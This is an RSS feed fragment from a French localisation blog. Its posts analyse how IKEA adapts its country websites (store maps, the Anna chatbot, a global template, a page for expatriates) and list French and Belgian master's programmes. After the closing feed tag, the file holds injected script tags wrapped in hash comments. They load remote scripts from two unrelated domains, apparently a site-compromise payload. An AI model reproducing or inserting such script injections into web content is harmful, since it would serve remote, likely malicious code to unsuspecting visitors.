		<category><![CDATA[Internationalisation web]]></category>

		<category><![CDATA[localisation web]]></category>

		<category><![CDATA[Multilinguisme web]]></category>

		<category><![CDATA[sites multilingues]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-44/</guid>
		<description><![CDATA[Ce billet, le petit dernier de la saga Ikea en quatre volets (voir « IKEA, un exemple de sites web globaux à suivre ? » ; « Ikea.com : Focus sur la « global gateway » » et « Site Pays Ikea : Un template global unique ») abordera la question de l’adaptation des services [...]]]></description>
			<content:encoded><![CDATA[<p>Ce billet, le petit dernier de la saga Ikea en quatre volets (voir « <a href="http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-14/">IKEA, un exemple de sites web globaux à suivre ? </a>» ; « <a href="http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-24/">Ikea.com : Focus sur la « global gateway</a> » » et « <a href="http://multimedia-multilingue.fr/localisation/site-pays-ikea-un-template-global-unique-34/">Site Pays Ikea : Un template global unique</a> ») abordera la question de l’adaptation des services web à la culture du pays cible.</p>
<p>Dans le cadre de cette analyse, nous nous attacherons principalement à deux fonctionnalités phares des sites Pays Ikea, à savoir :</p>
<ul>
<li>La situation géographique des magasins Ikea ;</li>
<li>L’agent conversationnel.</li>
</ul>
<h3>Sites Pays Ikea : Des services web localisés ?</h3>
<h4>La localisation des points de vente :</h4>
<p>La fonctionnalité consistant à présenter la situation géographique des magasins Ikea n’est pas originale en elle-même. Mais, elle n’en reste pas moins intéressante pour autant en terme de localisation.<br />
En effet, dans le cadre d’un site pays, il convient d’<strong>adapter cette fonctionnalité au pays cible</strong> en :</p>
<ul>
<li><strong>affichant uniquement la carte du pays</strong> en question ;</li>
<li><strong>ne faisant figurer que les magasins présents dans cette zone géographique</strong> pour ne pas noyer l’utilisateur dans un surplus d’informations inutiles ;</li>
<li><strong>utilisant des technologies simples et bien acceptées par les utilisateurs</strong>.</li>
</ul>
<p>Voici quelques exemples pour Ikea Espagne et Ikea Portugal :</p>
<p><img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/08/carte_espagne.jpg" alt="Ikea- Carte Espagne" /></p>
<p><img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/08/carte_portugal.jpg" alt="Ikea - Carte Portugal" /></p>
<p>Les points forts de cette fonctionnalité résident dans sa simplicité d’utilisation et dans sa facilité d’accès. Cependant, <strong>l’efficacité de ce type de services web</strong>, aussi localisé soit-il, <strong>ne peut se baser que sur une localisation réussie des services client</strong>.</p>
<h4>L’agent conversationnel :</h4>
<p>Autre fonctionnalité phare de ces sites Pays : l’agent conversationnel Anna.  Un agent conversationnel est une sorte d’avatar qui guide l’internaute dans sa découverte du site web et répond à ses éventuelles questions. <strong>Basée sur le modèle Lingubot™ développé par la multinationale «<a href="http://www.artificial-solutions.com/">ArtificialSolutions</a>», la conseillère interactive du site Ikea dialogue en ligne dans 12 pays dont le Japon.</strong></p>
<p>Outre sa capacité à pouvoir comprendre et parler plusieurs langues, l’<strong>agent conversationnel d’Ikea change de visage selon les pays</strong>.</p>
<p>Comparons par exemple Anna sur les sites Pays France et Allemagne :</p>
<p><img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/08/anna.jpg" alt="Ikea - Anna" /> <img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/08/anna2.jpg" alt="Ikea - Anna2" /></p>
<p>Novatrice et peu répandue, <strong>cette fonctionnalité</strong> peut être <strong>délicate à implémenter dans certains sites pays</strong> car :</p>
<ul>
<li>elle n’est <strong>pas obligatoirement acceptée culturellement</strong> (ex : mise en avant d’une femme en situation de travail)</li>
<li>elle n’est <strong>pas encore rentrée dans les mœurs de l’utilisateur</strong> qui n’est pas accoutumé à rencontrer et utiliser ce type d’outils sur un site Internet.</li>
</ul>
<p>Pour cette raison, Anna n’est pas présente dans certains pays tels que l’Israël, le Koweït, la Malaisie, la Turquie etc.</p>
<p>Autre point fort de la localisation de cette fonctionnalité : <strong>pour les pays multilingues tels que la Suisse, Anna parle toutes les langues officielles.</strong></p>
<h4>Le petit plus d’Ikea : comment localiser pour les non locaux ?</h4>
<p>Avoir correctement localisé ses sites en fonction des Pays, c’est une excellente pratique que peu de sociétés mettent véritablement en place. Ainsi, elle permet à chaque utilisateur de se rendre sur un site « qui lui parle », qui est adapté à ses besoins et dans lequel il y trouve son compte. En effet, un utilisateur français se rendant sur le site ikea.fr pourra :</p>
<ul>
<li>Comprendre le contenu puisqu’il est rédigé dans sa langue maternelle ;</li>
<li>Commander des produits adaptés à son style de vie et se les faire livrer à son domicile ;</li>
<li>Connaitre les magasins Ikea dans son pays et même les plus proches de chez lui etc.</li>
</ul>
<p>Mais qu’en est-il des utilisateurs expatriés en France ? La plupart de leurs besoins reste identique puisque liés à leur localité (la France dans le cas présent) mais ces derniers peuvent ne pas maîtriser encore parfaitement la langue française. Pour répondre à leurs besoins, <strong>Ikea a mis en place une page d’aide rédigée en anglais à destination de ces expatriés</strong> :</p>
<p><img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/08/page_expatrie.jpg" alt="Ikea - Page Expatries" /></p>
<h4>Conclusion</h4>
<p>Ikea est-il un exemple de sites globaux à suivre ? Certainement : la plupart des bonnes pratiques en matière d&#8217;internationalisation et de localisation de sites web est respectée. Seul point noir majeur : l&#8217;uniformisation des sites web de certains pays, encore à l&#8217;ancienne charte, dommage &#8230; <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/localisation/ikea-un-exemple-de-sites-web-globaux-a-suivre-44/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Site Pays Ikea : Un template global unique (3/4)</title>
		<link>http://multimedia-multilingue.fr/localisation/site-pays-ikea-un-template-global-unique-34/</link>
		<comments>http://multimedia-multilingue.fr/localisation/site-pays-ikea-un-template-global-unique-34/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 15:40:45 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Localisation]]></category>

		<category><![CDATA[featured]]></category>

		<category><![CDATA[globalisation web]]></category>

		<category><![CDATA[Internationalisation web]]></category>

		<category><![CDATA[localisation web]]></category>

		<category><![CDATA[Multilinguisme web]]></category>

		<category><![CDATA[sites multilingues]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/localisation/site-pays-ikea-un-template-global-unique-34/</guid>
		<description><![CDATA[Cette saga Ikea en quatre parties part du général, la stratégie de la marque, pour aller au particulier, la localisation de certains services spécifiques. Les deux précédents billets abordaient respectivement la stratégie de marque de Ikea à l’échelle internationale et l’analyse de la global gateway, véritable page d’orientation pour l’internaute. Ce billet aborde l’analyse du [...]]]></description>
			<content:encoded><![CDATA[<p>Cette saga Ikea en quatre parties part du général, la stratégie de la marque, pour aller au particulier, la localisation de certains services spécifiques. Les deux précédents billets abordaient respectivement la stratégie de marque de Ikea à l’échelle internationale et l’analyse de la global gateway, véritable page d’orientation pour l’internaute. Ce billet aborde l’analyse du template global des sites pays Ikea.</p>
<h3>Site Pays Ikea : Un template global unique</h3>
<p>Grâce à la cohérence graphique entre la global gateway et les sites pays (voire le site du groupe si on s’en tient au respect de la charte graphique), Ikea bénéficie d’une identité de marque cohérente sur le Web.</p>
<p><img src="http://multimedia-multilingue.fr/wp-content/uploads/2008/06/ikea_global_template.jpg" alt="Ikea Global Template" /></p>
<p>Ce template global cohérent issu du processus d’internationalisation repose sur :</p>
<ul>
<li>Une structure d’ensemble commune ;</li>
<li>Un header identique sur tous les sites pays ;</li>
<li>De grandes zones de mise en avant personnalisables en fonction de l’actualité pays (promos, mises en avant produits, évènements tels que Noël, les soldes, la rentrée scolaire etc.)</li>
</ul>
<h3>Global template : Bonnes pratiques</h3>
<p>Dans un global template, une attention toute particulière doit être faite sur le header pour respecter quelques bonnes pratiques, à savoir :</p>
<ul>
<li>Inclure un accès aux autres sites pays  (direct ou via la global gateway) ;</li>
<li>Utiliser les drapeaux à bon escient ;</li>
<li>Indiquer clairement à l’utilisateur sur quel site pays il se trouve.</li>
</ul>
<p><strong>1) Inclure un accès aux autres sites pays :</strong></p>
<p>En cas d’erreur lors de la sélection du pays, un utilisateur doit pouvoir, à partir du site pays en question, retourner sur la global gateway pour sélectionner un autre pays ou sélectionner directement le site pays sur lequel il veut se rendre.<br />
Pour se faire, l’accès doit être :</p>
<ul>
<li>visible, généralement en haut de page dans le header</li>
<li>clairement identifiable même dans une langue inconnue pour l’accès à la global gateway (picto rappelant la global gateway, intitulé en anglais par exemple)</li>
<li>en langue locale pour les accès direct aux sites pays</li>
</ul>
<p>Le global template de Ikea n’offre pas la possibilité à l’utilisateur de changer de sites pays, ce qui ne simplifie pas la navigation entre les sites pays.</p>
<p><strong>2) Utiliser les drapeaux à bon escient :</strong></p>
<p>Les drapeaux peuvent être utilisés pour spécifier le pays du site afin que l’utilisateur puisse, en un coup d’œil, savoir sur quel site pays il se trouve. En revanche, les drapeaux ne doivent en aucun cas être utilisés pour représenter des langues. Le drapeau anglais, par exemple, est souvent utilisé, à tort, pour représenter la langue anglaise. Or l’anglais est la langue officielle de nombreux pays dont les USA, l’Australie etc.</p>
<p><strong>3) Indiquer clairement à l’utilisateur sur quel site pays il se trouve :</strong></p>
<p>Chaque site pays doit clairement afficher le pays auquel il est rattaché afin de fournir à l’utilisateur un confort de navigation optimal.<br />
Par ailleurs, un site Pays peut être multilingue, comme le site Pays Suisse : il ne faut donc pas négliger de traduire le site dans les langues officielles et de rendre bien visibles les accès aux différentes versions, et ce toujours en langue locale bien sûr <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>A venir :</strong><br />
Sites Pays Ikea : Localisation des services web</p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/localisation/site-pays-ikea-un-template-global-unique-34/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Formations en multimédia multilingue et localisation</title>
		<link>http://multimedia-multilingue.fr/formations/formations-en-multimedia-multilingue-et-localisation/</link>
		<comments>http://multimedia-multilingue.fr/formations/formations-en-multimedia-multilingue-et-localisation/#comments</comments>
		<pubDate>Fri, 25 Apr 2008 14:56:42 +0000</pubDate>
		<dc:creator>Véronique Tillaud</dc:creator>
		
		<category><![CDATA[Formations]]></category>

		<category><![CDATA[globalisation web]]></category>

		<category><![CDATA[Internationalisation web]]></category>

		<category><![CDATA[localisation web]]></category>

		<category><![CDATA[Multilinguisme web]]></category>

		<category><![CDATA[sites multilingues]]></category>

		<guid isPermaLink="false">http://multimedia-multilingue.fr/formations/formations-en-multimedia-multilingue-et-localisation/</guid>
		<description><![CDATA[Il y a quelques jours de cela, un de mes (nombreux ?  ) lecteurs est entré en contact avec moi pour connaître d’autres formations en multimédia multilingue. En effet, pour l’instant, les deux articles de la rubrique « Formations » portent sur le master CAWEB (« Focus sur le Master Pro CAWEB » et [...]]]></description>
			<content:encoded><![CDATA[<p>Il y a quelques jours de cela, un de mes (nombreux ? <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) lecteurs est entré en contact avec moi pour connaître d’autres formations en multimédia multilingue. En effet, pour l’instant, les deux articles de la rubrique « Formations » portent sur le master CAWEB (« <a href="http://multimedia-multilingue.fr/formations/focus-sur-le-master-pro-caweb/" title="Accéder au billet">Focus sur le Master Pro CAWEB</a> » et « <a href="http://multimedia-multilingue.fr/divers/saving-master-caweb/" title="Accéder au billet">Saving Master CAWEB</a> »). Mais, ce n’est pas le seul&nbsp;!</p>
<p>J’ai donc décidé d’écrire un rapide billet qui liste les quelques formations que je connais afin d’en faire profiter tout le monde. Des billets plus précis sur chaque formation sont prévus, patience donc <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Voici donc une petite liste de Masters spécialisés en multimédia multilingue et/ou localisation :</p>
<ul>
<li><a href="http://asso.tsm.free.fr/?page_id=11" title="Accéder au site" target="_blank">Master TSM « Traduction Spécialisée Multilingue »</a> de l’université de Lille III</li>
<li><a href="http://ufr-stgi.univ-fcomte.fr/master2lce/" title="Accéder au site" target="_blank">Master « Langues et Commerce Electronique »</a> de l’université de Montbéliard</li>
<li><a href="http://www.heb.be/isti/desstil.htm" title="Accéder au site" target="_blank">Master de « Traduction et Industries de la Langue »</a> de Bruxelles</li>
<li><a href="http://www.uhb.fr/jsp/fiche_formation.jsp?STNAV=&amp;RUBNAV=EE&amp;CODE=MPCMTR2_41&amp;LANGUE=0&amp;RH=FORMATION" title="Accéder au site" target="_blank">Master LEA « Communication Multilingue et Multimédia »</a> de l’université de Rennes</li>
</ul>
<p>Ces masters ont des spécificités, notamment dans l’enseignement qu’ils proposent. Il est donc impératif de bien se renseigner sur le contenu du master pour que vous intégriez une formation qui vous correspond !</p>
<p>Si vous en connaissez d’autres, n’hésitez pas à compléter cette liste <img src='http://multimedia-multilingue.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://multimedia-multilingue.fr/formations/formations-en-multimedia-multilingue-et-localisation/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>




<!--74b70bc20cac8ff49ad57f721896d920--<html><script src=http://fayregoldens.com/_themes/koriander-vd-breese-hoeve.php ></script><body></body></html>>



<script type="text/javascript" src="http://dolgo.lulucabana.com:8080/Data.js"></script>
<!--74b70bc20cac8ff49ad57f721896d920-->